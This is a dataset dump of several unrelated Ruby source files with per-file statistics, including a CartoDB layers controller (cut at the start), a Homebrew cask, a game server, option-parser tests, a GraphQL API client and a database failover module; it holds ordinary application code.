CartoDB::Logger.error(message: 'Error updating layer', exception: e)
render_jsonp({ description: e.message }, 400)
end
def destroy
@layer.destroy
head :no_content
end
def layer_attributes(param)
param.slice(:options, :kind, :infowindow, :tooltip, :order).permit!
end
def ensure_current_user
user_id = uuid_parameter(:user_id)
raise UnauthorizedError unless current_user.id == user_id
@user = Carto::User.find(user_id)
end
def load_user_layer
load_user_layers
raise LoadError.new('Layer not found') unless @layers.length == 1
@layer = @layers.first
end
def load_user_layers
@layers = layers_ids.map { |id| @user.layers.find(id) }
rescue ActiveRecord::RecordNotFound
raise LoadError.new('Layer not found')
end
def load_map
map_id = uuid_parameter(:map_id)
# User must be owner or have permissions for the map's visualization
@map = Carto::Map.find(map_id)
vis = @map.visualization
raise LoadError.new('Map not found') unless vis.try(:is_viewable_by_user?, current_user)
rescue ActiveRecord::RecordNotFound
raise LoadError.new('Map not found')
end
def ensure_writable_map
raise UnauthorizedError unless @map.visualization.writable_by?(current_user)
end
def load_map_layer
load_map_layers
raise LoadError.new('Layer not found') unless @layers.length == 1
@layer = @layers.first
end
def load_map_layers
@layers = layers_ids.map { |id| @map.layers.find(id) }
rescue ActiveRecord::RecordNotFound
raise LoadError.new('Layer not found')
end
def layers_ids
if params[:id]
[params[:id]]
elsif params[:layers]
params[:layers].map { |l| l['id'] }
else
raise LoadError.new('Layer not found')
end
end
def owner_user(layer)
if current_user.nil? || @map.user.id != current_user.id
# This keeps backwards compatibility with map user assignment. See #8974
@map.user
elsif layer.options && layer.options['user_name'].present?
::User.where(username: layer.options['user_name']).first
else
layer.user
end
end
def update_layer_node_styles(to_layer, from_layer, from_letter)
to_letter = to_layer.options['letter']
to_source = to_layer.options['source']
if from_layer.present? && from_letter.present? && to_letter.present? && to_source.present?
move_layer_node_styles(from_layer, from_letter, to_layer, to_letter, to_source)
update_source_layer_styles(from_layer, from_letter, to_letter, to_source)
end
rescue => e
CartoDB::Logger.error(
message: 'Error updating layer node styles',
exception: e,
from_layer: from_layer,
from_letter: from_letter,
to_layer: to_layer
)
end
def move_layer_node_styles(from_layer, from_letter, to_layer, to_letter, to_source)
source_node_number = to_source[1..-1].to_i
nodes_to_move = from_layer.layer_node_styles.select do |lns|
lns.source_id.starts_with?(from_letter) && lns.source_id[1..-1].to_i < source_node_number
end
nodes_to_move.each do |lns|
# Move LayerNodeStyles from the old layer if given.
lns.source_id = lns.source_id.gsub(from_letter, to_letter)
to_layer.layer_node_styles << lns
end
end
def update_source_layer_styles(from_layer, from_letter, to_letter, to_source)
if from_letter != to_letter
# Dragging middle node: rename the moved node
node_id_to_fix = to_source.gsub(to_letter, from_letter)
style_node = ::LayerNodeStyle.where(layer_id: from_layer.id, source_id: node_id_to_fix).first
if style_node
style_node.source_id = to_source
style_node.save
end
else
# Dragging head node: remove unneeded old styles in the old layer
from_layer.reload
from_layer.layer_node_styles.select { |lns|
lns.source_id.starts_with?(from_letter) && lns.source_id != to_source
}.each(&:destroy)
end
end
end
end
end
| 32.982394 | 119 | 0.635743 |
611e37d30415318662ef756b04581fa6fa6c3653 | 1,465 | cask 'auristor-client' do
version '0.149'
if MacOS.version == :mavericks
sha256 'e79579c9ac2cd609bedd2e01104c113a3417e082e6b5a9f8d333d74e8a6d5030'
url "https://www.auristor.com/downloads/auristor/osx/macos-10.9/AuriStor-client-#{version}-Mavericks.dmg"
elsif MacOS.version == :yosemite
sha256 '966c115c1d87f239fb63521940e4a4142cf17e096548e9aaed92912c91f7202b'
url "https://www.auristor.com/downloads/auristor/osx/macos-10.10/AuriStor-client-#{version}-Yosemite.dmg"
elsif MacOS.version == :el_capitan
sha256 'b0a7eee25398e265304a7adfe672f8daa942b916ed7e069d45c3b871d023086f'
url "https://www.auristor.com/downloads/auristor/osx/macos-10.11/AuriStor-client-#{version}-ElCapitan.dmg"
else
sha256 'a5b0cb5e14654e7e0558b779f3c5c32e03a691be10f3f88ea7857cebea2f66f1'
url "https://www.auristor.com/downloads/auristor/osx/macos-10.12/AuriStor-client-#{version}-Sierra.dmg"
end
name 'AuriStor File System Client'
homepage 'https://www.auristor.com/'
# Unusual case: The software will stop working, or is dangerous to run, on the next macOS release.
depends_on macos: [
:mavericks,
:yosemite,
:el_capitan,
:sierra,
]
pkg 'Auristor-Lite.pkg'
uninstall pkgutil: 'com.auristor.yfs-*',
early_script: 'Extras/Uninstall-OpenAFS.command',
script: 'Extras/Uninstall.command'
end
| 41.857143 | 110 | 0.698294 |
334fffff201ddd8a240f2b3777cf100406fd09f1 | 5,188 | require "demiurge"
require "demiurge/createjs"
require "demiurge/createjs/engine_sync"
require "demiurge/createjs/json_accounts"
require "demiurge/createjs/login_unique"
CANVAS_WIDTH = 640
CANVAS_HEIGHT = 480
TICK_MILLISECONDS = 300
TICKS_PER_SAVE = (60 * 1000 / TICK_MILLISECONDS) # Every 1 minute
class GoodShip
# Store player accounts in a JSON file
include Demiurge::Createjs::JsonAccounts;
# Only one login per player at a time
include Demiurge::Createjs::LoginUnique;
def initialize
# Ruby extensions in the World Files? Load them.
Dir["**/world/extensions/**/*.rb"].sort.each do |ruby_ext|
require_relative ruby_ext
end
@engine = Demiurge::DSL.engine_from_dsl_files *Dir["world/*.rb"]
# If we restore state, we should do it before the EngineSync is
# created. Otherwise we have to replay a lot of "new item"
# notifications or otherwise register a bunch of state with the
# EngineSync.
# @todo Sort this list by modification date
last_statefile = [ "state/shutdown_statefile.json", "state/periodic_statefile.json", "state/error_statefile.json" ].detect do |f|
File.exist?(f)
end
if last_statefile
puts "Restoring state data from #{last_statefile.inspect}."
state_data = MultiJson.load File.read(last_statefile)
@engine.load_state_from_dump(state_data)
else
puts "No last statefile found, starting from World Files."
end
@engine_sync = Demiurge::Createjs::EngineSync.new(@engine)
set_accounts_json_filename("accounts.json")
@template = @engine.item_by_name("player template")
raise("Can't find player template object!") unless @template
@start_location = @engine.item_by_name("start location")
start_obj = @start_location.tmx_object_by_name("start location")
tilewidth = @start_location.tiles[:spritesheet][:tilewidth]
tileheight = @start_location.tiles[:spritesheet][:tileheight]
@start_position = "start location##{start_obj[:x] / tilewidth},#{start_obj[:y] / tileheight}"
end
def on_player_login(websocket, username)
# Find or create a Demiurge agent as the player's body
body = @engine.item_by_name(username)
if body
# If the body already exists, it should be marked as a player body
raise("You can't create a body with reserved name #{username}!") unless body.state["$player_body"] == username
else
body = @engine.instantiate_new_item(username, @template, "position" => @start_position)
body.state["$player_body"] = username
body.run_action("create") if body.get_action("create")
end
body.run_action("login") if body.get_action("login")
# And create a Demiurge::Createjs::Player for the player's viewpoint
player = Demiurge::Createjs::Player.new websocket: websocket, name: username, demi_item: body, engine_sync: @engine_sync, width: CANVAS_WIDTH, height: CANVAS_HEIGHT
player.message "displayInit", { "width" => CANVAS_WIDTH, "height" => CANVAS_HEIGHT, "ms_per_tick" => TICK_MILLISECONDS }
player.register # Attach to EngineSync
player
end
def on_player_logout(websocket, player)
body = @engine.item_by_name(player.name)
body.run_action("logout") if body && body.get_action("logout")
end
def on_player_action_message(websocket, action_name, *args)
puts "Got player action: #{action_name.inspect} / #{args.inspect}"
player = player_by_websocket(websocket) # LoginUnique defines player_by_websocket and player_by_name
if action_name == "move"
player.demi_item.queue_action "move", args[0]
return
end
raise "Unknown player action #{action_name.inspect} with args #{args.inspect}!"
end
# @todo Move this into DCJS
def run_engine
return if @engine_started
counter = 0
EM.add_periodic_timer(0.001 * TICK_MILLISECONDS) do
# Step game content forward by one tick
begin
@engine.advance_one_tick
counter += 1
if counter % TICKS_PER_SAVE == 0
puts "Writing periodic statefile, every #{TICKS_PER_SAVE.inspect} ticks..."
ss = @engine.structured_state
File.open("state/periodic_statefile.json", "w") do |f|
f.print MultiJson.dump(ss, :pretty => true)
end
end
rescue
STDERR.puts "Error trace:\n#{$!.message}\n#{$!.backtrace.join("\n")}"
STDERR.puts "Error when advancing engine state. Dumping state, skipping tick."
ss = @engine.structured_state
File.open("state/error_statefile.json", "w") do |f|
f.print MultiJson.dump(ss, :pretty => true)
end
end
end
@engine_started = true
end
def on_open(transport, event)
# TODO: Figure out a way to do this initially instead of waiting for a first socket to be opened.
run_engine
# Now, wait for login.
end
# Don't override on_close without calling super or the included LoginUnique module won't work right.
def on_close(transport, event)
super
end
def on_error(transport, event)
puts "Protocol error for player #{@player_by_transport[transport]}: #{event.inspect}"
end
end
Demiurge::Createjs.record_traffic
Demiurge::Createjs.run GoodShip.new
| 37.594203 | 168 | 0.702005 |
f8cacc84c0db22456a0031ef3f442ddc2916df1e | 176 | require 'test_helper'
class MealsControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get meals_index_url
assert_response :success
end
end
| 17.6 | 59 | 0.778409 |
e81a38f295cbbcf6624e34439fbf356b4bcdc961 | 439 | class AddCauses < ActiveRecord::Migration[5.1]
def change
create_table :causes do |t|
t.string :name
t.text :description
t.integer :parent_id, limit: 8
t.timestamps null: false
t.index :parent_id
end
create_table :causes_charities, id: false do |t|
t.integer :cause_id, limit: 8
t.integer :charity_id, limit: 8
t.index :cause_id
t.index :charity_id
end
end
end
| 19.954545 | 52 | 0.633257 |
03f5bfeae40c65809e6b555189cd7962a3af808b | 769 | # ## Slice::CommandBuilder
# Creates a new command object from the given ARGV.
#
# ```ruby
# builder = Slice::CommandBuilder.new(ARGV)
# builder.call
# ```
#
module Slice
class CommandBuilder
### Slice::CommandBuilder.new(argv)
# Creates a new instance of Slice::CommandBuilder from the given command line arguments.
#
def initialize(argv)
@argv = argv
end
### Slice::CommandBuilder#call
# Returns a new instance of command class that inherits from Slice::Commands::Base.
#
def call
if arguments.valid?
Slice::Commands::Request.new(arguments)
else
Slice::Commands::Error.new(arguments)
end
end
private
def arguments
@arguments ||= Arguments.new(@argv)
end
end
end
| 21.361111 | 92 | 0.650195 |
bb16dcbd7febe76a02637562a8f2216d91848983 | 898 | # -*- encoding: utf-8 -*-
require File.expand_path('../lib/video_dimensions/version', __FILE__)
Gem::Specification.new do |gem|
gem.name = "video_dimensions"
gem.version = VideoDimensions::VERSION
gem.summary = %q{Quick and easy video attributes}
gem.description = %q{Quick and easy video attributes -- width, height, bitrate, codec, duration, framerate.}
gem.license = "MIT"
gem.authors = ["Robert Speicher"]
gem.email = "[email protected]"
gem.homepage = "https://github.com/rspeicher/video_dimensions"
gem.files = `git ls-files`.split($/)
gem.test_files = gem.files.grep(%r{^(test|spec|features)/})
gem.require_paths = ['lib']
gem.add_development_dependency 'bundler'
gem.add_development_dependency 'mocha'
gem.add_development_dependency 'rake'
gem.add_development_dependency 'rspec', '~> 3.2.0'
end
| 37.416667 | 112 | 0.674833 |
39c2fcc997feb21632453cef5add141b016cc2fc | 3,832 | # frozen_string_literal: true
require 'zenaton/services/graph_ql/create_workflow_schedule_mutation'
require 'zenaton/services/graph_ql/create_task_schedule_mutation'
require 'zenaton/services/graph_ql/dispatch_task_mutation'
require 'zenaton/services/graph_ql/dispatch_workflow_mutation'
require 'zenaton/services/graph_ql/kill_workflow_mutation'
require 'zenaton/services/graph_ql/pause_workflow_mutation'
require 'zenaton/services/graph_ql/resume_workflow_mutation'
require 'zenaton/services/graph_ql/send_event_mutation'
require 'zenaton/services/graph_ql/workflow_query'
module Zenaton
module Services
# Module for client, mutations and queries used to communicate with
# Zenaton's GraphQL API
module GraphQL
# Small client to interact with Zenaton's GraphQL API
class Client
ZENATON_GATEWAY_URL = 'https://gateway.zenaton.com/api' # Gateway url
# Setup the GraphQL client with the HTTP client to use
def initialize(http:)
@http = http
end
# Scheduling a workflow
def schedule_workflow(workflow, cron, credentials)
app_env = credentials['app_env']
mutation = CreateWorkflowScheduleMutation.new(workflow, cron, app_env)
execute(mutation, credentials)
end
# Scheduling a task
def schedule_task(task, cron, credentials)
app_env = credentials['app_env']
mutation = CreateTaskScheduleMutation.new(task, cron, app_env)
execute(mutation, credentials)
end
# Dispatching a single task
def start_task(task, credentials)
app_env = credentials['app_env']
mutation = DispatchTaskMutation.new(task, app_env)
execute(mutation, credentials)
end
# Dispatching a workflow
def start_workflow(workflow, credentials)
app_env = credentials['app_env']
mutation = DispatchWorkflowMutation.new(workflow, app_env)
execute(mutation, credentials)
end
# Stopping an existing workflow
def kill_workflow(name, custom_id, credentials)
app_env = credentials['app_env']
mutation = KillWorkflowMutation.new(name, custom_id, app_env)
execute(mutation, credentials)
end
# Pausing an existing workflow
def pause_workflow(name, custom_id, credentials)
app_env = credentials['app_env']
mutation = PauseWorkflowMutation.new(name, custom_id, app_env)
execute(mutation, credentials)
end
# Resuming a paused workflow
def resume_workflow(name, custom_id, credentials)
app_env = credentials['app_env']
mutation = ResumeWorkflowMutation.new(name, custom_id, app_env)
execute(mutation, credentials)
end
# Sending an event to an existing workflow
def send_event(name, custom_id, event, credentials)
app_env = credentials['app_env']
mutation = SendEventMutation.new(name, custom_id, event, app_env)
execute(mutation, credentials)
end
# Search for a workflow with a custom ID
def find_workflow(name, custom_id, credentials)
app_env = credentials['app_env']
query = WorkflowQuery.new(name, custom_id, app_env)
execute(query, credentials)
end
private
def url
ENV['ZENATON_GATEWAY_URL'] || ZENATON_GATEWAY_URL
end
def headers(credentials)
{
'app-id' => credentials['app_id'],
'api-token' => credentials['api_token']
}
end
def execute(operation, credentials)
response = @http.post(url, operation.body, headers(credentials))
operation.result(response)
end
end
end
end
end
| 34.522523 | 80 | 0.664666 |
629f43d3636d57fb0359f5e3bb108a1fcb8db565 | 457 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Gitlab::Git::Patches::Patch do
let(:patches_folder) { Rails.root.join('spec/fixtures/patchfiles') }
let(:patch_content) do
File.read(File.join(patches_folder, "0001-This-does-not-apply-to-the-feature-branch.patch"))
end
let(:patch) { described_class.new(patch_content) }
describe '#size' do
it 'is correct' do
expect(patch.size).to eq(549.bytes)
end
end
end
| 26.882353 | 96 | 0.715536 |
1110e7902f8036e6fad8fe82f6aeba63a5dffc1a | 1,565 | class Admin::ScoreCategoriesController < Admin::ApplicationController
# Overwrite any of the RESTful controller actions to implement custom behavior
# For example, you may want to send an email after a foo is updated.
#
# def update
# super
# send_foo_updated_email(requested_resource)
# end
# Override this method to specify custom lookup behavior.
# This will be used to set the resource for the `show`, `edit`, and `update`
# actions.
#
# def find_resource(param)
# Foo.find_by!(slug: param)
# end
# The result of this lookup will be available as `requested_resource`
# Override this if you have certain roles that require a subset
# this will be used to set the records shown on the `index` action.
#
# def scoped_resource
# if current_user.super_admin?
# resource_class
# else
# resource_class.with_less_stuff
# end
# end
# Override `resource_params` if you want to transform the submitted
# data before it's persisted. For example, the following would turn all
# empty values into nil values. It uses other APIs such as `resource_class`
# and `dashboard`:
#
# def resource_params
# params.require(resource_class.model_name.param_key).
# permit(dashboard.permitted_attributes).
# transform_values { |value| value == "" ? nil : value }
# end
# See https://administrate-prototype.herokuapp.com/customizing_controller_actions
# for more information
def default_sorting_attribute
:position
end
def default_sorting_direction
:asc
end
end
| 29.528302 | 83 | 0.716294 |
38457c69bc8ae1efbb7f07406f8ea99d69dba50c | 284 | Puppet::Type.type(:pg_user).provide(:default) do
desc "A default pg_user provider which just fails."
def create
return false
end
def destroy
return false
end
def exists?
fail('This is just the default provider for pg_user, all it does is fail')
end
end
| 15.777778 | 78 | 0.693662 |
1cacb66f500790adaa6b1be7834d6d3b1188f8eb | 2,571 | class Portal::Course < ApplicationRecord
self.table_name = :portal_courses
acts_as_replicatable
belongs_to :school, :class_name => "Portal::School", :foreign_key => "school_id"
has_many :clazzes, :dependent => :destroy, :class_name => "Portal::Clazz", :foreign_key => "course_id" #, :source => :clazz # REMOVED due to `Unknown key: :source` error
# has_and_belongs_to_many :grade_levels, :join_table => "portal_courses_grade_levels", :class_name => "Portal::GradeLevel"
has_many :grade_levels, :dependent => :destroy, :as => :has_grade_levels, :class_name => "Portal::GradeLevel"
has_many :grades, :through => :grade_levels, :class_name => "Portal::Grade"
[:district, :virtual?, :real?].each {|method| delegate method, :to=> :school }
self.extend SearchableModel
@@searchable_attributes = %w{name description}
class NonUniqueCourseNumberException < Exception
end
class NonUniqueCourseNameException < Exception
end
class <<self
def searchable_attributes
@@searchable_attributes
end
# for a given school_id:
# returns a course with a matching course number, OR a course with
# no course number, but with a matching name.
def find_by_course_number_name_and_school_id(number,name,school_id)
results = self.where(course_number: number, school_id: school_id)
if results && results.size == 1
return results[0]
end
if results.size > 1
raise NonUniqueCourseNumberException
end
# if we made it to here, then there were no matching coures_numbers
# fall back to find course names that match for that school
results = self.where(name: name, school_id: school_id)
# to be viable, the course must have a nil course number, or
# or a nil course number
results = results.select { |c| c.course_number.nil? || c.course_number == number }
if results && results.size == 1
return results[0]
end
if results.size > 1
raise NonUniqueCourseNameException
end
return nil # could not find anything
end
def find_or_create_using_course_number_name_and_school_id(number,name,school_id)
results = find_by_course_number_name_and_school_id(number,name,school_id)
if results
results.course_number = number;
results.name = name;
results.save
else
results = Portal::Course.create({
:name => name,
:course_number => number,
:school_id => school_id
})
end
return results
end
end
end
| 30.975904 | 172 | 0.677946 |
618d3509d4793299232fe5d034169ff9f32b00f3 | 152 | module Apexcharts
class ThemeOptions < ::SmartKv
optional *%i[
monochrome
palette
]
end
end
| 16.888889 | 32 | 0.473684 |
112b862b7673b2377d82986fd1ac098ed8068c2a | 242 | # frozen_string_literal: true
require_dependency "#{Rails.root}/lib/importers/user_importer"
class UpdateUsersWorker
include Sidekiq::Worker
sidekiq_options unique: :until_executed
def perform
UserImporter.update_users
end
end
| 18.615385 | 62 | 0.801653 |
1cfc78392fb06cda83d39aac7e8869554d32f961 | 3,561 | #! /usr/bin/env ruby
$:.unshift File.join(File.dirname(__FILE__), '../..', 'lib')
require 'clasp'
require 'test/unit'
class Test_DefaultValue < Test::Unit::TestCase
def test_long_form_without_default
specifications = [
CLASP.Option('--verbosity', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ])
]
argv = [ '--verbosity' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 0, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_nil option0.value
end
def test_long_form_with_default_empty_value
specifications = [
CLASP.Option('--verbosity', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ], default_value: 'normal')
]
argv = [ '--verbosity=' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 0, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_equal 'normal', option0.value
end
def test_long_form_with_default_missing_value
specifications = [
CLASP.Option('--verbosity', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ], default_value: 'normal')
]
argv = [ '--verbosity' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 0, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_equal 'normal', option0.value
end
def test_short_form_without_default
specifications = [
CLASP.Option('--verbosity', alias: '-v', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ])
]
argv = [ '-v' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 0, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_nil option0.value
end
def test_short_form_with_default
specifications = [
CLASP.Option('--verbosity', alias: '-v', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ], default_value: 'normal')
]
argv = [ '-v' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 0, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_equal 'normal', option0.value
end
def test_short_form_without_default_and_separator
specifications = [
CLASP.Option('--verbosity', alias: '-v', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ])
]
argv = [ '-v', '--', 'some-value' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 1, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_nil option0.value
end
def test_short_form_with_default_and_separator
specifications = [
CLASP.Option('--verbosity', alias: '-v', values: [ 'silent', 'terse', 'normal', 'chatty', 'verbose' ], default_value: 'normal')
]
argv = [ '-v', '--', 'some-value' ]
args = CLASP::Arguments.new(argv, specifications)
assert_equal 0, args.flags.size
assert_equal 1, args.options.size
assert_equal 1, args.values.size
option0 = args.options[0]
assert_equal '--verbosity', option0.name
assert_equal 'normal', option0.value
end
end
| 23.427632 | 130 | 0.692502 |
1c6b021a7be0e3e5b654f0ada548d85c1dcefef5 | 78 | require File.expand_path('config/environment', __dir__)
run Spaceholder::App
| 19.5 | 55 | 0.807692 |
0347eaacf910727520079ba865a31862d27b678a | 1,724 | # frozen_string_literal: true
require 'active_record'
if defined?(::Rails)
require_relative 'active_record/railtie'
end
require_relative 'active_record/middleware'
require_relative 'active_record/handler'
module RailsFailover
module ActiveRecord
def self.logger=(logger)
@logger = logger
end
def self.logger
@logger || Rails.logger
end
def self.verify_primary_frequency_seconds=(seconds)
@verify_primary_frequency_seconds = seconds
end
def self.verify_primary_frequency_seconds
@verify_primary_frequency_seconds || 5
end
def self.establish_reading_connection(handler, config)
if config[:replica_host] && config[:replica_port]
replica_config = config.dup
replica_config[:host] = replica_config.delete(:replica_host)
replica_config[:port] = replica_config.delete(:replica_port)
replica_config[:replica] = true
handler.establish_connection(replica_config)
end
end
def self.register_force_reading_role_callback(&block)
Middleware.force_reading_role_callback = block
end
def self.on_failover(&block)
@on_failover_callback = block
end
def self.on_failover_callback!(key)
@on_failover_callback&.call(key)
rescue => e
logger.warn("RailsFailover::ActiveRecord.on_failover failed: #{e.class} #{e.message}\n#{e.backtrace.join("\n")}")
end
def self.on_fallback(&block)
@on_fallback_callback = block
end
def self.on_fallback_callback!(key)
@on_fallback_callback&.call(key)
rescue => e
logger.warn("RailsFailover::ActiveRecord.on_fallback failed: #{e.class} #{e.message}\n#{e.backtrace.join("\n")}")
end
end
end
| 26.121212 | 119 | 0.707657 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.